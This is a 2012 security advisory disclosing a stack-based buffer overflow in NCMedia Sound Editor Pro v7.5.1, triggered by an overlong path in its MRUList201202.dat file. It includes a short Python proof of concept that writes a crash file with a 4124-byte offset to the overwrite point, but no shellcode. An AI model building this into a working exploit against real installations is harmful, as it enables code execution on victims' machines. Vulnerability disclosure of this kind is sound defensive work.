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NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Local Buffer Overflow

Sep 16, 2012 · By Julien Ahrens

ADVISORY INFORMATION

  • Product: Sound Editor Pro v7.5.1
  • Vendor URL: https://www.soundeditorpro.com
  • CWE: Stack-based Buffer Overflow [CWE-121]
  • Date found: 2012-08-15
  • Date published: 2012-09-16
  • CVSS Score: 6,9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
  • CVE: -

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from Inshell Security.

VERSIONS AFFECTED

NCMedia Sound Editor Pro v7.5.1, older versions may be affected too.

VULNERABILITY DETAILS

A Local Buffer Overflow Vulnerability has been found on the NCMedia Sound Editor Pro v7.5.1.

The application saves the paths for all recently used files in a file called “MRUList201202.dat” in the directory %appdata%\Sound Editor Pro. When clicking on the “File” menu item the application reads the contents of the file, but does not validate the length of the string loaded from the file before passing it to a buffer, which leads to a Stack-based Buffer Overflow.

An attacker needs to force the victim to place an arbitrary “MRUList201202.dat” file into the target directory.

PROOF OF CONCEPT

#!/usr/bin/python
file="MRUList201202.dat"

junk1="\x41" * 4124
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc=junk1 + boom + junk2

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"

SOLUTION

None

REPORT TIMELINE

  • 2012-08-15: Initial notification sent to vendor
  • 2012-08-22: No response, second notification sent to vendor
  • 2012-08-29: No response, third notification sent to vendor
  • 2012-09-16: No response
  • 2012-09-16: Full Disclosure according to disclosure policy

REFERENCES